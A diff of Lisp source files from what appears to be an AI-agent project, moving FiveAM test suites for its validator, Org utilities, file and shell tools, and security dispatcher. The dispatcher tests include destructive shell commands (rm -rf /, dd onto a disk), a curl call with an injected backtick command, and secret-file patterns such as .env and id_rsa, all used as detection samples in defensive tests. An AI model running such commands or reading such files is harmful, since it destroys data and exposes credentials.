+    (is (not (null extracted)))
+    (let ((form (read-from-string extracted)))
+      (is (eq (car form) 'DEFUN))
+      (is (eq (second form) 'HELLO)))))
+
+(test list-definitions
+  "Contract 7: lisp-list-definitions returns all defined names."
+  (let ((code "(defun foo () t) (defmacro bar () nil) (defparameter *baz* 10)"))
+    (let ((names (passepartout:lisp-list-definitions code)))
+      (is (member 'FOO names))
+      (is (member 'BAR names))
+      (is (member '*BAZ* names)))))
+
+(test structural-inject
+  "Contract 8: lisp-inject adds a form to a function body."
+  (let* ((code "(defun my-fun (x) (print x))")
+         (injected (passepartout:lisp-inject code "my-fun" "(finish-output)")))
+    (let ((form (read-from-string injected)))
+      (is (equal (last form) '((FINISH-OUTPUT)))))))
+
+(test structural-slurp
+  "Contract 9: lisp-slurp appends a form to a function body."
+  (let* ((code "(defun work () (step-1))")
+         (slurped (passepartout:lisp-slurp code "work" "(step-2)")))
+    (let ((form (read-from-string slurped)))
+      (is (equal (last form) '((STEP-2)))))))
+
 (in-package :passepartout)
 
 (defun lisp-structural-check (code)
@@ -156,91 +244,3 @@
                        (intern (string k) :keyword)
                        k)
           collect v)))
-
-(defpackage :passepartout-utils-lisp-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:utils-lisp-suite))
-
-(in-package :passepartout-utils-lisp-tests)
-
-(def-suite utils-lisp-suite
-  :description "Tests for the Lisp Validator structural, syntactic, and semantic gates")
-
-(in-suite utils-lisp-suite)
-
-(test structural-balanced
-  "Contract 1: balanced code returns T."
-  (is (eq t (passepartout:lisp-structural-check "(+ 1 2)"))))
-
-(test structural-unbalanced-open
-  "Contract 1: missing close paren returns nil + error."
-  (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "(+ 1 2")
-    (is (null ok))
-    (is (search "Reader Error" reason))))
-
-(test structural-unbalanced-close
-  "Contract 1: extra close paren returns nil + error."
-  (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "+ 1 2)")
-    (is (null ok))
-    (is (search "Reader Error" reason))))
-
-(test syntactic-valid
-  "Contract 2: valid syntax passes syntactic check."
-  (is (eq t (passepartout:lisp-syntactic-check "(+ 1 2)"))))
-
-(test semantic-safe
-  "Contract 3: safe code passes semantic check."
-  (is (eq t (passepartout:lisp-semantic-check "(+ 1 2)"))))
-
-(test semantic-blocked-eval
-  "Contract 3: eval forms are blocked by semantic check."
-  (multiple-value-bind (ok reason) (passepartout:lisp-semantic-check "(eval '(+ 1 2))")
-    (is (null ok))
-    (is (search "Unsafe" reason))))
-
-(test unified-success
-  "Contract 4: valid code returns :success via lisp-validate."
-  (let ((result (passepartout:lisp-validate "(+ 1 2)" :strict t)))
-    (is (eq (getf result :status) :success))))
-
-(test unified-failure
-  "Contract 4: invalid code returns :error via lisp-validate."
-  (let ((result (passepartout:lisp-validate "(+ 1 2" :strict nil)))
-    (is (eq (getf result :status) :error))))
-
-(test eval-basic
-  "Contract 5: lisp-eval returns :success with captured result."
-  (let ((result (passepartout:lisp-eval "(+ 1 2)")))
-    (is (eq (getf result :status) :success))
-    (is (string= (getf result :result) "3"))))
-
-(test structural-extract
-  "Contract 6: lisp-extract finds and returns a named function."
-  (let* ((code "(defun hello () (print \"hi\")) (defun bye () (print \"bye\"))")
-         (extracted (passepartout:lisp-extract code "hello")))
-    (is (not (null extracted)))
-    (let ((form (read-from-string extracted)))
-      (is (eq (car form) 'DEFUN))
-      (is (eq (second form) 'HELLO)))))
-
-(test list-definitions
-  "Contract 7: lisp-list-definitions returns all defined names."
-  (let ((code "(defun foo () t) (defmacro bar () nil) (defparameter *baz* 10)"))
-    (let ((names (passepartout:lisp-list-definitions code)))
-      (is (member 'FOO names))
-      (is (member 'BAR names))
-      (is (member '*BAZ* names)))))
-
-(test structural-inject
-  "Contract 8: lisp-inject adds a form to a function body."
-  (let* ((code "(defun my-fun (x) (print x))")
-         (injected (passepartout:lisp-inject code "my-fun" "(finish-output)")))
-    (let ((form (read-from-string injected)))
-      (is (equal (last form) '((FINISH-OUTPUT)))))))
-
-(test structural-slurp
-  "Contract 9: lisp-slurp appends a form to a function body."
-  (let* ((code "(defun work () (step-1))")
-         (slurped (passepartout:lisp-slurp code "work" "(step-2)")))
-    (let ((form (read-from-string slurped)))
-      (is (equal (last form) '((STEP-2)))))))

lisp/programming-literate.lisp

@@ -1,3 +1,40 @@
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-programming-literate-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:literate-suite))
+
+(in-package :passepartout-programming-literate-tests)
+
+(def-suite literate-suite :description "Verification of the Literate Programming skill")
+(in-suite literate-suite)
+
+(test test-extract-lisp-blocks
+  "Contract 1: extracts lisp from #+begin_src blocks."
+  (let* ((org-content (format nil "#+begin_src lisp~%(+ 1 2)~%#+end_src~%#+begin_src lisp~%(+ 3 4)~%#+end_src"))
+         (extracted (literate-extract-lisp-blocks org-content)))
+    (let ((joined (format nil "~{~a~^~%~}" extracted)))
+      (is (search "(+ 1 2)" joined))
+      (is (search "(+ 3 4)" joined)))))
+
+(test test-block-balance-check-valid
+  "Contract 2: balanced parens return T."
+  (is (eq t (literate-block-balance-check
+             (merge-pathnames "org/core-pipeline.org"
+                              (uiop:ensure-directory-pathname
+                               (uiop:getenv "PASSEPARTOUT_DATA_DIR")))))))
+
+(test test-block-balance-check-missing-close
+  "Contract 2: unbalanced parens return non-T."
+  (is (not (eq t (literate-block-balance-check "org/nonexistent-file-xyz.org")))))
+
+(test test-tangle-sync-check
+  "Contract 3: literate-tangle-sync-check verifies org matches tangled lisp."
+  (let ((result (literate-tangle-sync-check "org/core-pipeline.org" "lisp/core-pipeline.lisp")))
+    (is (or (eq t result) (stringp result))
+        "Should return T or a mismatch description")))
+
 (in-package :passepartout)
 
 (defun literate-extract-lisp-blocks (content)
@@ -64,40 +101,3 @@ contents of the Lisp file. Returns T if they match, or an error message."
 (defskill :passepartout-programming-literate
   :priority 300
   :trigger (lambda (ctx) (declare (ignore ctx)) nil))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-programming-literate-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:literate-suite))
-
-(in-package :passepartout-programming-literate-tests)
-
-(def-suite literate-suite :description "Verification of the Literate Programming skill")
-(in-suite literate-suite)
-
-(test test-extract-lisp-blocks
-  "Contract 1: extracts lisp from #+begin_src blocks."
-  (let* ((org-content (format nil "#+begin_src lisp~%(+ 1 2)~%#+end_src~%#+begin_src lisp~%(+ 3 4)~%#+end_src"))
-         (extracted (literate-extract-lisp-blocks org-content)))
-    (let ((joined (format nil "~{~a~^~%~}" extracted)))
-      (is (search "(+ 1 2)" joined))
-      (is (search "(+ 3 4)" joined)))))
-
-(test test-block-balance-check-valid
-  "Contract 2: balanced parens return T."
-  (is (eq t (literate-block-balance-check
-             (merge-pathnames "org/core-pipeline.org"
-                              (uiop:ensure-directory-pathname
-                               (uiop:getenv "PASSEPARTOUT_DATA_DIR")))))))
-
-(test test-block-balance-check-missing-close
-  "Contract 2: unbalanced parens return non-T."
-  (is (not (eq t (literate-block-balance-check "org/nonexistent-file-xyz.org")))))
-
-(test test-tangle-sync-check
-  "Contract 3: literate-tangle-sync-check verifies org matches tangled lisp."
-  (let ((result (literate-tangle-sync-check "org/core-pipeline.org" "lisp/core-pipeline.lisp")))
-    (is (or (eq t result) (stringp result))
-        "Should return T or a mismatch description")))

lisp/programming-org.lisp

@@ -1,3 +1,98 @@
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ignore-errors (ql:quickload :fiveam :silent t)))
+
+(defpackage :passepartout-utils-org-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:utils-org-suite))
+
+(in-package :passepartout-utils-org-tests)
+
+(def-suite utils-org-suite
+  :description "Tests for Utils Org skill.")
+
+(in-suite utils-org-suite)
+
+(test id-generation
+  "Contract 1: org-id-generate returns unique UUID strings."
+  (let ((id1 (org-id-generate))
+        (id2 (org-id-generate)))
+    (is (plusp (length id1)))
+    (is (not (string= id1 id2)))))
+
+(test id-format
+  "Contract 2: org-id-format ensures 'id:' prefix."
+  (let ((formatted (org-id-format "abc12345")))
+    (is (search "id:" formatted))))
+
+(test property-setter
+  "Contract 3: org-property-set modifies a property on a headline."
+  (let ((ast (list :type :HEADLINE
+                  :properties (list :ID "id:test123" :TITLE "Test")
+                  :contents nil)))
+    (org-property-set ast "id:test123" :STATUS "ACTIVE")
+    (is (string= (getf (getf ast :properties) :STATUS) "ACTIVE"))))
+
+(test todo-setter
+  "Contract 4: org-todo-set changes TODO state via org-property-set."
+  (let ((ast (list :type :HEADLINE
+                  :properties (list :ID "id:todo001" :TITLE "Task")
+                  :contents nil)))
+    (org-todo-set ast "id:todo001" "DONE")
+    (is (string= (getf (getf ast :properties) :TODO) "DONE"))))
+
+(test test-org-headline-add
+  "Contract 5: org-headline-add inserts a child headline."
+  (let* ((ast (list :type :HEADLINE
+                   :properties (list :ID "root" :TITLE "Root")
+                   :contents nil)))
+    (is (eq t (org-headline-add ast "root" "New Child")))
+    (is (= 1 (length (getf ast :contents))))
+    (is (string= "New Child" (getf (getf (first (getf ast :contents)) :properties) :TITLE)))))
+
+(test test-org-headline-find-by-id
+  "Contract 6: org-headline-find-by-id finds a headline by ID."
+  (let* ((ast (list :type :HEADLINE
+                    :properties (list :ID "root" :TITLE "Root")
+                    :contents
+                    (list (list :type :HEADLINE
+                                :properties (list :ID "child1" :TITLE "Child"))
+                          (list :type :HEADLINE
+                                :properties (list :ID "child2" :TITLE "Child 2"))))))
+    (let ((found (org-headline-find-by-id ast "child2")))
+      (is (not (null found)))
+      (is (string= "Child 2" (getf (getf found :properties) :TITLE))))
+    (let ((missing (org-headline-find-by-id ast "nonexistent")))
+      (is (null missing) "Missing ID should return nil"))))
+
+(test test-org-id-get-create
+  "Contract 7: org-id-get-create returns existing ID or creates and sets a new one."
+  ;; Case 1: headline already has an ID
+  (let* ((ast (list :type :HEADLINE
+                    :properties (list :ID "id:existing" :TITLE "Has ID")
+                    :contents nil)))
+    (is (string= "id:existing" (org-id-get-create ast "id:existing"))))
+  ;; Case 2: headline exists by title but has no ID — one should be created
+  (let* ((ast (list :type :HEADLINE
+                    :properties (list :TITLE "No ID")
+                    :contents nil)))
+    (let ((new-id (org-id-get-create ast "No ID")))
+      (is (stringp new-id))
+      (is (uiop:string-prefix-p "id:" new-id))
+      ;; Verify the ID was set on the headline
+      (is (string= new-id (getf (getf ast :properties) :ID)))))
+  ;; Case 3: idempotent — calling again returns same ID
+  (let* ((ast (list :type :HEADLINE
+                    :properties (list :TITLE "Idempotent")
+                    :contents nil)))
+    (let ((id1 (org-id-get-create ast "Idempotent"))
+          (id2 (org-id-get-create ast "Idempotent")))
+      (is (string= id1 id2))))
+  ;; Case 4: headline not found returns nil
+  (let* ((ast (list :type :HEADLINE
+                    :properties (list :ID "root" :TITLE "Root")
+                    :contents nil)))
+    (is (null (org-id-get-create ast "nonexistent")))))
+
 (in-package :passepartout)
 
 (defun org-filetags-extract (content)
@@ -260,98 +355,3 @@ AST format: (:TYPE :HEADLINE :properties (:ID ... :TITLE ... :TAGS (...))
 (defskill :passepartout-programming-org
   :priority 100
   :trigger (lambda (ctx) (declare (ignore ctx)) nil))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ignore-errors (ql:quickload :fiveam :silent t)))
-
-(defpackage :passepartout-utils-org-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:utils-org-suite))
-
-(in-package :passepartout-utils-org-tests)
-
-(def-suite utils-org-suite
-  :description "Tests for Utils Org skill.")
-
-(in-suite utils-org-suite)
-
-(test id-generation
-  "Contract 1: org-id-generate returns unique UUID strings."
-  (let ((id1 (org-id-generate))
-        (id2 (org-id-generate)))
-    (is (plusp (length id1)))
-    (is (not (string= id1 id2)))))
-
-(test id-format
-  "Contract 2: org-id-format ensures 'id:' prefix."
-  (let ((formatted (org-id-format "abc12345")))
-    (is (search "id:" formatted))))
-
-(test property-setter
-  "Contract 3: org-property-set modifies a property on a headline."
-  (let ((ast (list :type :HEADLINE
-                  :properties (list :ID "id:test123" :TITLE "Test")
-                  :contents nil)))
-    (org-property-set ast "id:test123" :STATUS "ACTIVE")
-    (is (string= (getf (getf ast :properties) :STATUS) "ACTIVE"))))
-
-(test todo-setter
-  "Contract 4: org-todo-set changes TODO state via org-property-set."
-  (let ((ast (list :type :HEADLINE
-                  :properties (list :ID "id:todo001" :TITLE "Task")
-                  :contents nil)))
-    (org-todo-set ast "id:todo001" "DONE")
-    (is (string= (getf (getf ast :properties) :TODO) "DONE"))))
-
-(test test-org-headline-add
-  "Contract 5: org-headline-add inserts a child headline."
-  (let* ((ast (list :type :HEADLINE
-                   :properties (list :ID "root" :TITLE "Root")
-                   :contents nil)))
-    (is (eq t (org-headline-add ast "root" "New Child")))
-    (is (= 1 (length (getf ast :contents))))
-    (is (string= "New Child" (getf (getf (first (getf ast :contents)) :properties) :TITLE)))))
-
-(test test-org-headline-find-by-id
-  "Contract 6: org-headline-find-by-id finds a headline by ID."
-  (let* ((ast (list :type :HEADLINE
-                    :properties (list :ID "root" :TITLE "Root")
-                    :contents
-                    (list (list :type :HEADLINE
-                                :properties (list :ID "child1" :TITLE "Child"))
-                          (list :type :HEADLINE
-                                :properties (list :ID "child2" :TITLE "Child 2"))))))
-    (let ((found (org-headline-find-by-id ast "child2")))
-      (is (not (null found)))
-      (is (string= "Child 2" (getf (getf found :properties) :TITLE))))
-    (let ((missing (org-headline-find-by-id ast "nonexistent")))
-      (is (null missing) "Missing ID should return nil"))))
-
-(test test-org-id-get-create
-  "Contract 7: org-id-get-create returns existing ID or creates and sets a new one."
-  ;; Case 1: headline already has an ID
-  (let* ((ast (list :type :HEADLINE
-                    :properties (list :ID "id:existing" :TITLE "Has ID")
-                    :contents nil)))
-    (is (string= "id:existing" (org-id-get-create ast "id:existing"))))
-  ;; Case 2: headline exists by title but has no ID — one should be created
-  (let* ((ast (list :type :HEADLINE
-                    :properties (list :TITLE "No ID")
-                    :contents nil)))
-    (let ((new-id (org-id-get-create ast "No ID")))
-      (is (stringp new-id))
-      (is (uiop:string-prefix-p "id:" new-id))
-      ;; Verify the ID was set on the headline
-      (is (string= new-id (getf (getf ast :properties) :ID)))))
-  ;; Case 3: idempotent — calling again returns same ID
-  (let* ((ast (list :type :HEADLINE
-                    :properties (list :TITLE "Idempotent")
-                    :contents nil)))
-    (let ((id1 (org-id-get-create ast "Idempotent"))
-          (id2 (org-id-get-create ast "Idempotent")))
-      (is (string= id1 id2))))
-  ;; Case 4: headline not found returns nil
-  (let* ((ast (list :type :HEADLINE
-                    :properties (list :ID "root" :TITLE "Root")
-                    :contents nil)))
-    (is (null (org-id-get-create ast "nonexistent")))))

lisp/programming-tools.lisp

@@ -1,3 +1,175 @@
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-programming-tools-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:programming-tools-suite))
+
+(in-package :passepartout-programming-tools-tests)
+
+(def-suite programming-tools-suite :description "Verification of programming cognitive tools")
+(in-suite programming-tools-suite)
+
+(defun tools-tmpdir ()
+  (let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname))))
+    (uiop:ensure-all-directories-exist (list d))
+    d))
+
+(defun tools-cleanup ()
+  (let ((d (tools-tmpdir)))
+    (uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore)))
+
+(defun tools-write-file (filepath content)
+  (uiop:ensure-all-directories-exist (list filepath))
+  (with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create)
+    (write-string content stream)))
+
+(defun call-tool (tool-name &rest args)
+  (let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
+    (unless tool (error "Tool ~a not found" tool-name))
+    (funcall (cognitive-tool-body tool) args)))
+
+;; search-files
+(test test-search-files-finds-matches
+  "Contract 1: search-files finds lines matching a regex pattern."
+  (let* ((dir (tools-tmpdir))
+         (file-a (merge-pathnames "src-a.lisp" dir))
+         (file-b (merge-pathnames "src-b.lisp" dir)))
+    (tools-write-file file-a "(defun foo () 'hello)")
+    (tools-write-file file-b "(defun bar () 'world)")
+    (let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp")))
+      (is (eq (getf result :status) :success))
+      (is (search "src-a.lisp:1:" (getf result :content)))
+      (is (search "src-b.lisp:1:" (getf result :content))))
+    (tools-cleanup)))
+
+(test test-search-files-missing-params
+  "search-files returns error when required params are missing."
+  (let ((result (call-tool 'search-files :pattern "x")))
+    (is (eq (getf result :status) :error))))
+
+;; find-files
+(test test-find-files-by-extension
+  "Contract 5: find-files returns files matching a glob."
+  (let ((dir (tools-tmpdir)))
+    (tools-write-file (merge-pathnames "a.lisp" dir) "test")
+    (tools-write-file (merge-pathnames "b.lisp" dir) "test")
+    (tools-write-file (merge-pathnames "c.org" dir) "test")
+    (let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir))))
+      (is (eq (getf result :status) :success))
+      (is (search "a.lisp" (getf result :content)))
+      (is (search "b.lisp" (getf result :content)))
+      (is (not (search "c.org" (getf result :content)))))
+    (tools-cleanup)))
+
+(test test-find-files-missing-params
+  "find-files returns error without required params."
+  (let ((result (call-tool 'find-files :pattern "*.lisp")))
+    (is (eq (getf result :status) :error))))
+
+;; read-file
+(test test-read-file-full
+  "Contract 6: read-file returns full file contents."
+  (let* ((dir (tools-tmpdir))
+         (file (merge-pathnames "readme.txt" dir)))
+    (tools-write-file file (format nil "line one~%line two~%line three"))
+    (let ((result (call-tool 'read-file :filepath (namestring file))))
+      (is (eq (getf result :status) :success))
+      (is (search "line one" (getf result :content))))
+    (tools-cleanup)))
+
+(test test-read-file-missing-params
+  "read-file returns error without :filepath."
+  (let ((result (call-tool 'read-file)))
+    (is (eq (getf result :status) :error))))
+
+;; write-file
+(test test-write-file-creates
+  "Contract 7: write-file creates file with content."
+  (let* ((dir (tools-tmpdir))
+         (file (merge-pathnames "output.txt" dir)))
+    (let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world")))
+      (is (eq (getf result :status) :success))
+      (is (search "11 bytes" (getf result :content))))
+    (is (string-equal "hello world" (uiop:read-file-string file)))
+    (tools-cleanup)))
+
+(test test-write-file-missing-params
+  "write-file returns error without required params."
+  (let ((result (call-tool 'write-file :content "x")))
+    (is (eq (getf result :status) :error))))
+
+;; list-directory
+(test test-list-directory-all
+  "Contract 8: list-directory returns all entries."
+  (let ((dir (tools-tmpdir)))
+    (tools-write-file (merge-pathnames "alpha.txt" dir) "x")
+    (tools-write-file (merge-pathnames "beta.txt" dir) "y")
+    (let ((result (call-tool 'list-directory :path (namestring dir))))
+      (is (eq (getf result :status) :success))
+      (is (search "alpha.txt" (getf result :content)))
+      (is (search "beta.txt" (getf result :content))))
+    (tools-cleanup)))
+
+(test test-list-directory-missing-params
+  "list-directory returns error without :path."
+  (let ((result (call-tool 'list-directory)))
+    (is (eq (getf result :status) :error))))
+
+;; run-shell
+(test test-run-shell-echo
+  "Contract 9: run-shell executes a command and returns output."
+  (let ((result (call-tool 'run-shell :cmd "echo hello")))
+    (is (eq (getf result :status) :success))
+    (is (search "hello" (getf result :content)))))
+
+(test test-run-shell-missing-params
+  "run-shell returns error without :cmd."
+  (let ((result (call-tool 'run-shell)))
+    (is (eq (getf result :status) :error))))
+
+;; eval-form
+(test test-eval-form-arithmetic
+  "Contract 10: eval-form evaluates a Lisp expression."
+  (let ((result (call-tool 'eval-form :code "(+ 1 2)")))
+    (is (eq (getf result :status) :success))
+    (is (search "3" (getf result :content)))))
+
+(test test-eval-form-missing-params
+  "eval-form returns error without :code."
+  (let ((result (call-tool 'eval-form)))
+    (is (eq (getf result :status) :error))))
+
+;; org-modify-file
+(test test-org-modify-file-replace
+  "Contract 13: org-modify-file replaces exact text in file."
+  (let* ((dir (tools-tmpdir))
+         (file (merge-pathnames "doc.org" dir)))
+    (tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%")
+    (let ((result (call-tool 'org-modify-file
+                             :filepath (namestring file)
+                             :old-text "TODO" :new-text "WAITING")))
+      (is (eq (getf result :status) :success))
+      (is (search "WAITING" (uiop:read-file-string file))))
+    (tools-cleanup)))
+
+(test test-org-modify-file-not-found
+  "org-modify-file returns error when text not in file."
+  (let* ((dir (tools-tmpdir))
+         (file (merge-pathnames "file.org" dir)))
+    (tools-write-file file "some content")
+    (let ((result (call-tool 'org-modify-file
+                             :filepath (namestring file)
+                             :old-text "not-in-file" :new-text "anything")))
+      (is (eq (getf result :status) :error))
+      (is (search "not found" (getf result :message))))
+    (tools-cleanup)))
+
+(test test-org-modify-file-missing-params
+  "org-modify-file returns error without required params."
+  (let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y")))
+    (is (eq (getf result :status) :error))))
+
 (in-package :passepartout)
 
 (defun tools-write-file (filepath content)
@@ -289,178 +461,6 @@
   (prog1 (nreverse *modified-files-this-turn*)
     (setf *modified-files-this-turn* nil)))
 
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-programming-tools-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:programming-tools-suite))
-
-(in-package :passepartout-programming-tools-tests)
-
-(def-suite programming-tools-suite :description "Verification of programming cognitive tools")
-(in-suite programming-tools-suite)
-
-(defun tools-tmpdir ()
-  (let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname))))
-    (uiop:ensure-all-directories-exist (list d))
-    d))
-
-(defun tools-cleanup ()
-  (let ((d (tools-tmpdir)))
-    (uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore)))
-
-(defun tools-write-file (filepath content)
-  (uiop:ensure-all-directories-exist (list filepath))
-  (with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create)
-    (write-string content stream)))
-
-(defun call-tool (tool-name &rest args)
-  (let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
-    (unless tool (error "Tool ~a not found" tool-name))
-    (funcall (cognitive-tool-body tool) args)))
-
-;; search-files
-(test test-search-files-finds-matches
-  "Contract 1: search-files finds lines matching a regex pattern."
-  (let* ((dir (tools-tmpdir))
-         (file-a (merge-pathnames "src-a.lisp" dir))
-         (file-b (merge-pathnames "src-b.lisp" dir)))
-    (tools-write-file file-a "(defun foo () 'hello)")
-    (tools-write-file file-b "(defun bar () 'world)")
-    (let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp")))
-      (is (eq (getf result :status) :success))
-      (is (search "src-a.lisp:1:" (getf result :content)))
-      (is (search "src-b.lisp:1:" (getf result :content))))
-    (tools-cleanup)))
-
-(test test-search-files-missing-params
-  "search-files returns error when required params are missing."
-  (let ((result (call-tool 'search-files :pattern "x")))
-    (is (eq (getf result :status) :error))))
-
-;; find-files
-(test test-find-files-by-extension
-  "Contract 5: find-files returns files matching a glob."
-  (let ((dir (tools-tmpdir)))
-    (tools-write-file (merge-pathnames "a.lisp" dir) "test")
-    (tools-write-file (merge-pathnames "b.lisp" dir) "test")
-    (tools-write-file (merge-pathnames "c.org" dir) "test")
-    (let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir))))
-      (is (eq (getf result :status) :success))
-      (is (search "a.lisp" (getf result :content)))
-      (is (search "b.lisp" (getf result :content)))
-      (is (not (search "c.org" (getf result :content)))))
-    (tools-cleanup)))
-
-(test test-find-files-missing-params
-  "find-files returns error without required params."
-  (let ((result (call-tool 'find-files :pattern "*.lisp")))
-    (is (eq (getf result :status) :error))))
-
-;; read-file
-(test test-read-file-full
-  "Contract 6: read-file returns full file contents."
-  (let* ((dir (tools-tmpdir))
-         (file (merge-pathnames "readme.txt" dir)))
-    (tools-write-file file (format nil "line one~%line two~%line three"))
-    (let ((result (call-tool 'read-file :filepath (namestring file))))
-      (is (eq (getf result :status) :success))
-      (is (search "line one" (getf result :content))))
-    (tools-cleanup)))
-
-(test test-read-file-missing-params
-  "read-file returns error without :filepath."
-  (let ((result (call-tool 'read-file)))
-    (is (eq (getf result :status) :error))))
-
-;; write-file
-(test test-write-file-creates
-  "Contract 7: write-file creates file with content."
-  (let* ((dir (tools-tmpdir))
-         (file (merge-pathnames "output.txt" dir)))
-    (let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world")))
-      (is (eq (getf result :status) :success))
-      (is (search "11 bytes" (getf result :content))))
-    (is (string-equal "hello world" (uiop:read-file-string file)))
-    (tools-cleanup)))
-
-(test test-write-file-missing-params
-  "write-file returns error without required params."
-  (let ((result (call-tool 'write-file :content "x")))
-    (is (eq (getf result :status) :error))))
-
-;; list-directory
-(test test-list-directory-all
-  "Contract 8: list-directory returns all entries."
-  (let ((dir (tools-tmpdir)))
-    (tools-write-file (merge-pathnames "alpha.txt" dir) "x")
-    (tools-write-file (merge-pathnames "beta.txt" dir) "y")
-    (let ((result (call-tool 'list-directory :path (namestring dir))))
-      (is (eq (getf result :status) :success))
-      (is (search "alpha.txt" (getf result :content)))
-      (is (search "beta.txt" (getf result :content))))
-    (tools-cleanup)))
-
-(test test-list-directory-missing-params
-  "list-directory returns error without :path."
-  (let ((result (call-tool 'list-directory)))
-    (is (eq (getf result :status) :error))))
-
-;; run-shell
-(test test-run-shell-echo
-  "Contract 9: run-shell executes a command and returns output."
-  (let ((result (call-tool 'run-shell :cmd "echo hello")))
-    (is (eq (getf result :status) :success))
-    (is (search "hello" (getf result :content)))))
-
-(test test-run-shell-missing-params
-  "run-shell returns error without :cmd."
-  (let ((result (call-tool 'run-shell)))
-    (is (eq (getf result :status) :error))))
-
-;; eval-form
-(test test-eval-form-arithmetic
-  "Contract 10: eval-form evaluates a Lisp expression."
-  (let ((result (call-tool 'eval-form :code "(+ 1 2)")))
-    (is (eq (getf result :status) :success))
-    (is (search "3" (getf result :content)))))
-
-(test test-eval-form-missing-params
-  "eval-form returns error without :code."
-  (let ((result (call-tool 'eval-form)))
-    (is (eq (getf result :status) :error))))
-
-;; org-modify-file
-(test test-org-modify-file-replace
-  "Contract 13: org-modify-file replaces exact text in file."
-  (let* ((dir (tools-tmpdir))
-         (file (merge-pathnames "doc.org" dir)))
-    (tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%")
-    (let ((result (call-tool 'org-modify-file
-                             :filepath (namestring file)
-                             :old-text "TODO" :new-text "WAITING")))
-      (is (eq (getf result :status) :success))
-      (is (search "WAITING" (uiop:read-file-string file))))
-    (tools-cleanup)))
-
-(test test-org-modify-file-not-found
-  "org-modify-file returns error when text not in file."
-  (let* ((dir (tools-tmpdir))
-         (file (merge-pathnames "file.org" dir)))
-    (tools-write-file file "some content")
-    (let ((result (call-tool 'org-modify-file
-                             :filepath (namestring file)
-                             :old-text "not-in-file" :new-text "anything")))
-      (is (eq (getf result :status) :error))
-      (is (search "not found" (getf result :message))))
-    (tools-cleanup)))
-
-(test test-org-modify-file-missing-params
-  "org-modify-file returns error without required params."
-  (let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y")))
-    (is (eq (getf result :status) :error))))
-
 (in-package :passepartout-programming-tools-tests)
 
 (test test-modified-files-track-write

lisp/security-dispatcher.lisp

@@ -1,3 +1,189 @@
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-security-dispatcher-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:dispatcher-suite))
+
+(in-package :passepartout-security-dispatcher-tests)
+
+(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
+(in-suite dispatcher-suite)
+
+(test test-wildcard-match
+  "Contract 1: wildcard pattern * matches any characters."
+  (is (wildcard-match "*.env" ".env"))
+  (is (wildcard-match "*.env" "prod.env"))
+  (is (wildcard-match "*credential*" "my-credential-file"))
+  (is (wildcard-match "*.key" "id_rsa.key"))
+  (is (not (wildcard-match "*.env" "config.yaml"))))
+
+(test test-check-secret-path
+  "Contract 2: dispatcher-check-secret-path matches protected patterns."
+  (is (dispatcher-check-secret-path ".env"))
+  (is (dispatcher-check-secret-path "id_rsa"))
+  (is (not (dispatcher-check-secret-path "README.org"))))
+
+(test test-self-build-core-protection
+  "Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
+  ;; Core paths are recognized
+  (is (passepartout::dispatcher-check-core-path "core-reason.org"))
+  (is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
+  (is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org")))
+  ;; With SELF_BUILD_MODE=true, core writes produce approval-required
+  (let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x")))))
+    (setf (uiop:getenv "SELF_BUILD_MODE") "true")
+    (let ((result (dispatcher-check action nil)))
+      (is (eq :approval-required (getf result :level)))
+      (setf (uiop:getenv "SELF_BUILD_MODE") "false"))
+    ;; With SELF_BUILD_MODE=false (default), writes pass through
+    (let ((result (dispatcher-check action nil)))
+      (is (eq :REQUEST (getf result :type))))))
+
+(test test-check-shell-safety
+  "Contract 3: dispatcher-check-shell-safety detects dangerous commands."
+  (is (dispatcher-check-shell-safety "rm -rf /"))
+  (is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
+  (is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
+  (is (not (dispatcher-check-shell-safety "echo hello world")))
+  (is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
+
+(test test-shell-safety-severity-catastrophic
+  "Contract 3/v0.4.3: destructive commands return :catastrophic severity."
